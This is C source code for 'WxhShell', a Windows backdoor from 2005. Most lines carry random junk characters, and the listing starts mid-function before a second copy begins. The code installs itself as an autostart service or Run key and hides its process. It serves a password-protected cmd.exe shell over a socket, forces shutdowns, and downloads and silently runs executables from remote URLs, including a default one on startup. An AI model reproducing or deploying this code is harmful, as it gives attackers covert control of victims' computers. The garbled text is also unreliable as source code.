  case 'd': { wv."  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^uN[rHZ*u  
    if(Boot(SHUTDOWN)) a{Y|`*7y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3en6 7l  
    else { l5Ko9CG  
    closesocket(wsh); aF+Lam(  
    ExitThread(0); [J}eNprg  
    } ?HZ^V  
    break; Ys}^ hy  
    } Q2r[^Z  
  // 获取shell ;*j K!  
  case 's': { Z'y&11  
    CmdShell(wsh); r(uo-/7z  
    closesocket(wsh); oxN5:)  
    ExitThread(0); N<a %l J  
    break; K-#d1+P+  
  } /KF@Un_Ow  
  // 退出 BlU&=;#r5>  
  case 'x': { e1h7~ j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =RD>#'sUK  
    CloseIt(wsh); BA1uo0S `S  
    break; }*QK;#NEc  
    } EYj~Xj8_  
  // 离开 g`S;xs  
  case 'q': { G"J nQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iJ^}{-  
    closesocket(wsh); rZ3ji(4HS  
    WSACleanup(); 0 3v&k  
    exit(1); pgh(~ [  
    break; K;sC#9m  
        } SsW<,T  
  } Aipm=C8  
  } cxSHSv 1;  
I8)D   
  // 提示信息 {m~)~/z?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #2ta8m),  
} MooH`2Fd  
  } 6A]I" E]5  
6P717[  
  return; u%:`r*r  
} "IzAvKPM  
RIXeV*ix  
// shell模块句柄 |6bvUFr  
int CmdShell(SOCKET sock) B!x#|vGXL  
{ l+P!I{n  
STARTUPINFO si; b)KEB9w  
ZeroMemory(&si,sizeof(si)); `MPR-"Z6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tB~#;:g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,m?V3xvq  
PROCESS_INFORMATION ProcessInfo; s.Z{mnD6  
char cmdline[]="cmd"; xCXsyZ2h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cYg J}(>}  
  return 0; n ng|m  
} }lX$KuD  
b:hta\%/2  
// 自身启动模式 ydO+=R0M  
int StartFromService(void) EF\OM?R  
{ WXmfh  
typedef struct *6AV^^  
{ *`u|1}h|  
  DWORD ExitStatus; iw/~t  
  DWORD PebBaseAddress; a'jUM+D;  
  DWORD AffinityMask; bk<Rp84vL  
  DWORD BasePriority; b<~8\\ &  
  ULONG UniqueProcessId; ^`id/  
  ULONG InheritedFromUniqueProcessId; 3c6e$/  
}   PROCESS_BASIC_INFORMATION; :23S%B~X  
TBPu&+3  
PROCNTQSIP NtQueryInformationProcess; I1':&l^O  
AP,ZMpw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E!1\9wzM{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ri8=u$!  
9MZ)-  
  HANDLE             hProcess; 6#*_d,xQT  
  PROCESS_BASIC_INFORMATION pbi; WFahb3kx  
yXDjM2oR/2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *|W](id7e  
  if(NULL == hInst ) return 0; ZwsQ}5  
`9[n5-t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B3&C&o.h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ddKP3}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BT8)t.+pv  
:s_.K'4?a  
  if (!NtQueryInformationProcess) return 0; : H;S"D  
iE"]S )  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;y\/7E  
  if(!hProcess) return 0; ) u{ ]rb[  
i4i9EvWp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U&])ow):  
!;&\n3-W  
  CloseHandle(hProcess); PVlC j  
o5&b'WUJ=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); : pUu_  
if(hProcess==NULL) return 0; .tG3g:  
,hI$nF0}p  
HMODULE hMod; vFdI?(c-  
char procName[255]; Gn^lF7yE  
unsigned long cbNeeded; @br)m](@  
vb>F)po1}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sS ?A<D  
d)!'5Zr M  
  CloseHandle(hProcess); p1d%&e  
/}E2Rr?{  
if(strstr(procName,"services")) return 1; // 以服务启动 %<DdX*Qp  
}FS_"0  
  return 0; // 注册表启动 D8,8j;  
} V;SV0~&  
[XI:Yf  
// 主模块 P!f0&W  
int StartWxhshell(LPSTR lpCmdLine) SzB<PP2  
{ :$K=LV#Iru  
  SOCKET wsl; lq_UCCnv5  
BOOL val=TRUE; C=o-3w  
  int port=0; ,i}EGW,9q  
  struct sockaddr_in door; M| Gl&   
hR|xUp  
  if(wscfg.ws_autoins) Install(); \\:%++}J  
5`fUR/|[  
port=atoi(lpCmdLine); zo@vuB.  
vv,<#4d  
if(port<=0) port=wscfg.ws_port; QAxy?m,'  
9HFEp-"  
  WSADATA data; e< @$(w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KPz0;2}  
BZ.l[LMp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ${z#{c1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MMKN^a"GA  
  door.sin_family = AF_INET; V1M|p!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OW};i|  
  door.sin_port = htons(port); meV Z_f/  
<B|b'XVH2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $Q#n'#c  
closesocket(wsl); rucw{) _  
return 1; >e/>@ J*  
} vd#)+  
0/ 33Z Oc  
  if(listen(wsl,2) == INVALID_SOCKET) { # A4WFZ  
closesocket(wsl); HRE?uBkjf  
return 1; dh6kj-^;Cf  
} &AxtSIpucP  
  Wxhshell(wsl); Ewkx4,`Ff  
  WSACleanup(); "AjC2P],  
h@O\j&#  
return 0; ",aNYJR>*!  
`]l` t"x  
} x#SE%j?  
jRiMWolLv  
// 以NT服务方式启动 EgPL+qL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~Sb)i f  
{ g#74c'+  
DWORD   status = 0; REU&8J@k&?  
  DWORD   specificError = 0xfffffff; Dom]w.W5  
,\ 1X\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KNN{2thy `  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I$sXbM;z=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hfIP   
  serviceStatus.dwWin32ExitCode     = 0; } x r0m+/  
  serviceStatus.dwServiceSpecificExitCode = 0; V Zbn@1  
  serviceStatus.dwCheckPoint       = 0; /"`hz6rIv  
  serviceStatus.dwWaitHint       = 0; mYo~RXKGF  
L9e<hRZ$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3HuocwWbz  
  if (hServiceStatusHandle==0) return; *ezMS   
^#e|^]] L  
status = GetLastError(); [[T6X9  
  if (status!=NO_ERROR) kdGq\k,  
{ \41/84BA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .9ZK@xM&?  
    serviceStatus.dwCheckPoint       = 0; 'vt Jl  
    serviceStatus.dwWaitHint       = 0; ygja{W.  
    serviceStatus.dwWin32ExitCode     = status; RTd,bi*  
    serviceStatus.dwServiceSpecificExitCode = specificError; -`Z!p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1mtYap4  
    return; 0sw;h.VY  
  } 2jhJXM=~  
NGi)Lh|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qY%|Uo  
  serviceStatus.dwCheckPoint       = 0; |H5GWZ O{^  
  serviceStatus.dwWaitHint       = 0; TtrO_D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c oZK  
} ,aezMbg  
?QKD YH(  
// 处理NT服务事件,比如:启动、停止 w6> P[oW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1!)'dL0mI  
{ ;lE=7[UJ3X  
switch(fdwControl) #E Bd g  
{ u!~kmIa4  
case SERVICE_CONTROL_STOP: rd%uc~/  
  serviceStatus.dwWin32ExitCode = 0; Z >R@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _oa*E2VN  
  serviceStatus.dwCheckPoint   = 0; a.UYBRP/l  
  serviceStatus.dwWaitHint     = 0; Pm^FSw"  
  { 99:.j=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <<cezSm  
  } `Mg3P_}=  
  return; ?m 5"|f\  
case SERVICE_CONTROL_PAUSE: 'z}9BGR !  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  ZaaBg  
  break; 4w9=z,  
case SERVICE_CONTROL_CONTINUE: /,~]1&?}1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,f)+|?wz  
  break; X6B,Mply  
case SERVICE_CONTROL_INTERROGATE: Qh8pOUD0l}  
  break; p3-~cr.LD  
}; }U>K>"AZl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }@ U}c6/  
} ;s$4/b/~  
URj)]wp/  
// 标准应用程序主函数 ]Q.S Is  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sru0j/|H\  
{ *^{j!U37s  
,if~%'9j  
// 获取操作系统版本 _&gO>G,uy  
OsIsNt=GetOsVer(); wpN [0^M-0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zobFUFx  
5G'2 Wby'#  
  // 从命令行安装 a(fiW%eFb  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vr& GsT  
>mvE[iXRG?  
  // 下载执行文件 46 0/eW\  
if(wscfg.ws_downexe) { gGCr~.5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P5G0fq7  
  WinExec(wscfg.ws_filenam,SW_HIDE); DsxNg  
} h*<`ct xL  
.#tA .%  
if(!OsIsNt) { !a V:T&6  
// 如果时win9x,隐藏进程并且设置为注册表启动 N@Ap|`Ei  
HideProc(); T:%0i8p  
StartWxhshell(lpCmdLine); >\'}&oi  
} {%('|(57  
else 8f~*T  
  if(StartFromService()) !W&|kvT^  
  // 以服务方式启动 U74L:&y LI  
  StartServiceCtrlDispatcher(DispatchTable); =C(BZ+-^  
else ]YZ_kc^(V;  
  // 普通方式启动 F&7Z(  
  StartWxhshell(lpCmdLine); vnbY^ASdw  
&a\w+  
return 0; &'/PEOu&}G  
} rcLF:gd] E  
+DefV,Ny  
$u,A/7\s  
>#S}J LZ  
=========================================== kAUL7_>6X  
D=D.s)ns*  
$@^\zg1n  
H%=;pD>o  
5xUZeLj  
ey<z#Q5+  
" 4R01QSbd  
fCs{%-6cP  
#include <stdio.h> -; d{}F  
#include <string.h> 96!2 @c{  
#include <windows.h> XF3lS#pt  
#include <winsock2.h> tycVcr \(  
#include <winsvc.h> rOUQg_y  
#include <urlmon.h> h;(mb2[R  
lt5Knz2G,Z  
#pragma comment (lib, "Ws2_32.lib") $mq+/|bn  
#pragma comment (lib, "urlmon.lib") 3-;<G  
SFP?ND+7  
#define MAX_USER   100 // 最大客户端连接数 *fyaAv  
#define BUF_SOCK   200 // sock buffer ,5~C($-t  
#define KEY_BUFF   255 // 输入 buffer 9w0v?%%_  
&'i.W}Ib!  
#define REBOOT     0   // 重启 3WGOftLzt  
#define SHUTDOWN   1   // 关机 5Em.sz;:8  
gm:Y@6W  
#define DEF_PORT   5000 // 监听端口 u  XZ;K.  
8 f~M6  
#define REG_LEN     16   // 注册表键长度 ':\bn:;  
#define SVC_LEN     80   // NT服务名长度 $K\;sn; |:  
$S?xB$  
// 从dll定义API md9JvbB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4/SltWU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E.*wNah"U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V^ ;l g[:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'wBOnGi6  
Qe9}%k6@E  
// wxhshell配置信息 7<8'7<X  
struct WSCFG { j\B taC  
  int ws_port;         // 监听端口 `X&d:!}F  
  char ws_passstr[REG_LEN]; // 口令 -@'RYY=  
  int ws_autoins;       // 安装标记, 1=yes 0=no %vG;'_gM B  
  char ws_regname[REG_LEN]; // 注册表键名 YD~(l-?"  
  char ws_svcname[REG_LEN]; // 服务名 &d!ASa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Hp(41Eb,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :q2RgZE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5Ktll~+:#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no - ikq#L){  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :de4Fje/4y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n34d "l3  
h^{ aG])  
}; r24 s_  
mxc^IRj  
// default Wxhshell configuration Z0V6cikW6  
struct WSCFG wscfg={DEF_PORT, 54s90  
    "xuhuanlingzhe", 0(uba3z  
    1, sG|,#XQ  
    "Wxhshell", gV5mERKs  
    "Wxhshell", O15~\8#'  
            "WxhShell Service", &MONg=s3  
    "Wrsky Windows CmdShell Service", p .~5k  
    "Please Input Your Password: ", `Y '-2Fv  
  1, %3K'[2F  
  "http://www.wrsky.com/wxhshell.exe", ?IO3w{fmH  
  "Wxhshell.exe" QNcl    
    }; !0X"^VB  
K_X(j$2Xc  
// 消息定义模块 jfa<32`0E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 94rx4"AN8;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N45@)s!F9j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uE#i3( J  
char *msg_ws_ext="\n\rExit."; 8rz ,MsFR  
char *msg_ws_end="\n\rQuit."; f[OJ qk  
char *msg_ws_boot="\n\rReboot..."; FT gt$I  
char *msg_ws_poff="\n\rShutdown..."; u<+RA  
char *msg_ws_down="\n\rSave to "; MLDAr dvK  
Zc9S[ivq  
char *msg_ws_err="\n\rErr!"; eQ#"-i  
char *msg_ws_ok="\n\rOK!"; LXc;`]  
_UF'Cf+Y  
char ExeFile[MAX_PATH]; EiA_9%<  
int nUser = 0; ar`}+2Qh0  
HANDLE handles[MAX_USER]; 2m&?t_W  
int OsIsNt; /w*HxtwFmD  
@]],H0  
SERVICE_STATUS       serviceStatus; M!PK3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  t|:XSJ9  
Fow{-cs_p  
// 函数声明 'EU|w,GL}  
int Install(void); iSMVV<7  
int Uninstall(void); @Y6~;(p  
int DownloadFile(char *sURL, SOCKET wsh); 'sjks sy.3  
int Boot(int flag); {\k:?w4  
void HideProc(void); BQ!_i*14+  
int GetOsVer(void); A6Wtzt2i  
int Wxhshell(SOCKET wsl); 4?x$O{D5?{  
void TalkWithClient(void *cs); &y2DI"Ff  
int CmdShell(SOCKET sock); <2w 41QZX  
int StartFromService(void); UzkX;UA  
int StartWxhshell(LPSTR lpCmdLine); l_ &T)Ei  
?d)eri8,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YQ}IE[J}v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c/G^}d%  
0t00X/  
// 数据结构和表定义 ?,!C0ts  
SERVICE_TABLE_ENTRY DispatchTable[] = qd [Z\B  
{ UO>S2u  
{wscfg.ws_svcname, NTServiceMain}, /.1h_[K]  
{NULL, NULL} &<5oDdC  
}; =I)Ex)  
wpJfP_H  
// 自我安装 N..@}}  
int Install(void) _8?r!D#P;s  
{ f{R/rb&iB  
  char svExeFile[MAX_PATH]; pW2-RHGJY  
  HKEY key; \XG\  
  strcpy(svExeFile,ExeFile); u|&a!tOf2  
!2=eau^p  
// 如果是win9x系统,修改注册表设为自启动 .iEzEmu  
if(!OsIsNt) { Io)@u~yz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tp+H]H3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [V,f@}m F  
  RegCloseKey(key); x):h|/B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |H-zm&h>'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t=r*/DxX=  
  RegCloseKey(key); ^/Frg<>'p  
  return 0; GEfTs[  
    } 4p/d>DTiM  
  } 4ko(bW#jL  
} =a./HCF  
else { -(![xZ1{K  
kM@heFJb.  
// 如果是NT以上系统,安装为系统服务 ^WIGd"^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JVNp= ikK  
if (schSCManager!=0) iED gcg7  
{ gA DF  
  SC_HANDLE schService = CreateService " [K>faV  
  ( Hz3KoO &  
  schSCManager, *8xMe  
  wscfg.ws_svcname, 1"} u51  
  wscfg.ws_svcdisp, 8|\?imOp\[  
  SERVICE_ALL_ACCESS, 5 ]@"f/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H5p&dNO  
  SERVICE_AUTO_START, g=n /w  
  SERVICE_ERROR_NORMAL, =xsTVT;sj  
  svExeFile, 8u#2M8.5E  
  NULL, [e`6gGO  
  NULL, Fop'm))C8  
  NULL, . ,n>#lL  
  NULL, U_C 1GT-|  
  NULL ioS(;2F  
  ); RE75TqYW  
  if (schService!=0) r4Jc9Tv d  
  { Y**|e4  
  CloseServiceHandle(schService); zvnR'\A_  
  CloseServiceHandle(schSCManager); .uu[MzMIu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XSz)$9~hk  
  strcat(svExeFile,wscfg.ws_svcname); ~i/K7qZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .Zv uhOn^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0:4w@"Q  
  RegCloseKey(key); qEV>$>}  
  return 0; VTvNn  
    } a/H|/CB 3  
  } rnTjw "%  
  CloseServiceHandle(schSCManager); $y+Bril5W  
} o@tc   
} X=i",5;  
]B r 6!U4~  
return 1; g\lEdxm6Sj  
} vmK`QPu 2  
$[DSe~  
// 自我卸载 Vi_6O;  
int Uninstall(void) * k ^?L  
{ *b+ ~@o  
  HKEY key; eww/tGa  
"Z*u2_ H  
if(!OsIsNt) { /p_#8}Uh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jz72~+)T  
  RegDeleteValue(key,wscfg.ws_regname); ^26}j uQ  
  RegCloseKey(key); Ov PTgiI!N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "s5[w+,R  
  RegDeleteValue(key,wscfg.ws_regname); ,$<="kJk  
  RegCloseKey(key); wW+@3bPl  
  return 0; $ z 5  
  } eJwHeG  
} }:a:E~5y  
} 8[xl3=  
else { 8xN+LL'T{  
]:r6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rGb<7b%  
if (schSCManager!=0) tDIQ=  
{ %#$K P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }MXC0Z~si  
  if (schService!=0) A 2Rp  
  { X(*MHBd  
  if(DeleteService(schService)!=0) { wPrqFpf  
  CloseServiceHandle(schService); 6@; P  
  CloseServiceHandle(schSCManager); #:LI,t  
  return 0;  d| OEZx  
  } %d"d<pvx  
  CloseServiceHandle(schService); C6{\^kG^j2  
  } 5>u,Qh  
  CloseServiceHandle(schSCManager); )7s(]~z  
} U/l3C(bc!  
} }*9mNE  
\olYv!f  
return 1; I$w:qS&:  
} Iu|4QE  
X/' t1  
// 从指定url下载文件 w=feXA3-S  
int DownloadFile(char *sURL, SOCKET wsh) /@QPJ~%8Ud  
{ @pkQ2OM 2  
  HRESULT hr; N(=Z4Nk5  
char seps[]= "/"; ap|$8 G  
char *token; T_/ n#e  
char *file; 0l+[[ZTV  
char myURL[MAX_PATH]; H4"'&A7$  
char myFILE[MAX_PATH]; <Po$|$_~  
ATscP hk  
strcpy(myURL,sURL); c1aIZ  
  token=strtok(myURL,seps); [h[@? 8vB  
  while(token!=NULL) e> -fI_+b  
  { h"$)[k~  
    file=token; Z(:q.{"r  
  token=strtok(NULL,seps); {k8R6l1  
  } ~D\zz }l  
V Bv|7S  
GetCurrentDirectory(MAX_PATH,myFILE); oo2CF!Xy  
strcat(myFILE, "\\"); *BFG{P  
strcat(myFILE, file); PEDV9u[A  
  send(wsh,myFILE,strlen(myFILE),0); >PmnR>x-rj  
send(wsh,"...",3,0); S";c7s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &f($= 68  
  if(hr==S_OK) 9mRP%c#(  
return 0; c%@< h6  
else Ssg1p#0J  
return 1; bAS/cuZs  
Jy?; <  
} ?8]g&V  
B3g # )  
// 系统电源模块 <e'/z3TbRW  
int Boot(int flag) L-eO_tTh0  
{ <@H`5[R  
  HANDLE hToken; _ 2 oZhJ  
  TOKEN_PRIVILEGES tkp; s&7TARd  
DrA\-G_7  
  if(OsIsNt) { ( we)0AxF'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;fe~PPT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0"J0JcFX  
    tkp.PrivilegeCount = 1;  BDfJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ym|%ka  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E)F#Z=)  
if(flag==REBOOT) { tg6iHFa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /l>!7  
  return 0; jT=fq'RK  
} CWY-}M  
else { buKSZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]e6$ ={  
  return 0; Q4ZKgcC  
} 8@,8j!$8G  
  } s((c@)M  
  else { GUn$IPOM  
if(flag==REBOOT) { B]u!BBjC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,{2= nb[  
  return 0; %sCG}? y  
} sWv!ig_  
else { ke b.%cb=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9 iV_  
  return 0; V `7(75  
} OF/hD2V  
} [P*zm8b  
L(o#)I>j  
return 1; Ubm]V{7  
} k&lfxb9pd  
^C'{# p"  
// win9x进程隐藏模块 Qo\?(E M  
void HideProc(void) "</A) y&  
{ T^Ol=QCu  
# 1 1<=3Yj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *I.eCMDa  
  if ( hKernel != NULL ) [\-)c[/  
  { s"5wnp6pW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >u+%H vzc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (f;.`W  
    FreeLibrary(hKernel); p^k*[3$0  
  } Zu /w[*;M  
L$6W,D  
return; B$ jX%e{:S  
} ^h!}jvqE  
4Z.Dz@.c(  
// 获取操作系统版本 mJZB@m u?  
int GetOsVer(void) -QK- w>  
{ xX.kKEo"d  
  OSVERSIONINFO winfo; '*D>/hn|:]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |j=Pj)5J  
  GetVersionEx(&winfo); W. BX6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ? =G{2E.  
  return 1; 'x6rU"e$J  
  else wOg#J  
  return 0; '| p"HbJ  
} L~Y^O`c  
jo' V.]\  
// 客户端句柄模块 B#r"|x#[  
int Wxhshell(SOCKET wsl) Je4hQJ<h  
{ o .( Gja4  
  SOCKET wsh; ; )FmN[  
  struct sockaddr_in client; G=er0(7<  
  DWORD myID; RFPcH8-u7  
Vsr"W@k_  
  while(nUser<MAX_USER) fJ=v?  
{ QXW> }GdKZ  
  int nSize=sizeof(client); OwPXQ 3S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jl<pWjkZZ  
  if(wsh==INVALID_SOCKET) return 1; P*n/qj8h  
o8Yq3N+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G > t  
if(handles[nUser]==0) 1zgM$p  
  closesocket(wsh); ;3XOk+  
else 6)c-s|#  
  nUser++; re4A5Ev$  
  } p'A43  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wLzV#8>  
VTwQD"oB  
  return 0; !j%u wje\  
} U/-k'6=M  
KL./  
// 关闭 socket |K" nSXzk  
void CloseIt(SOCKET wsh) 2 fg P  
{ p-xG&CU  
closesocket(wsh); +8Y|kC{9"  
nUser--; g7{:F\S  
ExitThread(0); GI@;76Qf  
} C3'?E<F  
izzX$O[=:  
// 客户端请求句柄 Tgl >  
void TalkWithClient(void *cs) PS8^=  
{ AH-BZ8  
U>sEFzBup  
  SOCKET wsh=(SOCKET)cs; eD8e0 D'S  
  char pwd[SVC_LEN]; gVrfZ&XF84  
  char cmd[KEY_BUFF]; !hjF"Pa  
char chr[1]; KciN"g|X  
int i,j; |h&Z.  
kj6H+@ {  
  while (nUser < MAX_USER) { #lO ^PK  
[=",R&uD$  
if(wscfg.ws_passstr) { `Tei  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C80< L5\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b +Z/nfS  
  //ZeroMemory(pwd,KEY_BUFF); Ahc9HA2  
      i=0; ;2$0j1>  
  while(i<SVC_LEN) { 5WvsS( 9H  
)7p(htCz5  
  // 设置超时 B*t1Y<>x  
  fd_set FdRead; *s<cgPKJ @  
  struct timeval TimeOut; G1\F7A  
  FD_ZERO(&FdRead); FmhAUe  
  FD_SET(wsh,&FdRead); V(8,94vm  
  TimeOut.tv_sec=8; mT #A?C2  
  TimeOut.tv_usec=0; E]}_hZU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t1G__5wp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pXvys] @  
r-*j"1 e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N.0g%0A.D  
  pwd=chr[0]; =dsEt\ j  
  if(chr[0]==0xd || chr[0]==0xa) { [%O f  
  pwd=0; pRzL}-[/v  
  break; (>AQ\  
  } MiR$N  
  i++; ~FQHT?DAo  
    } #d06wYz=  
uEf=Vj}G  
  // 如果是非法用户,关闭 socket &er,Wyc(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y`(~eNX^%  
} 97qf3^gGd  
m'N8[ o|h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wa~zb!y<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /]U;7)  
(G/(w%#7_  
while(1) { R>]7l!3^1  
z~==7:Os  
  ZeroMemory(cmd,KEY_BUFF); D/JSIDd  
q#SEtyJL  
      // 自动支持客户端 telnet标准   3=^)=yOd  
  j=0; C"$~w3A k  
  while(j<KEY_BUFF) { *l;S"}b*,_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xk/iyp/  
  cmd[j]=chr[0]; xcn~KF8  
  if(chr[0]==0xa || chr[0]==0xd) { z>\l%_w  
  cmd[j]=0; q]?)c  
  break; ca3SE^  
  } _aBy>=2c$  
  j++; u! &T}i:  
    } `6lOqH  
^G2M4+W|  
  // 下载文件 cy)-Rfg  
  if(strstr(cmd,"http://")) { ![nL/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S;jD@j\t&  
  if(DownloadFile(cmd,wsh)) #p7gg61  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1X7GM65#  
  else tC(MaI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \#WWJh"W  
  } \*'@F+  
  else { Kn<+Au_]L  
Z4c'1-lh  
    switch(cmd[0]) { O!^ >YvOh  
  KeRC8mYp  
  // 帮助 ?qi~8.<w  
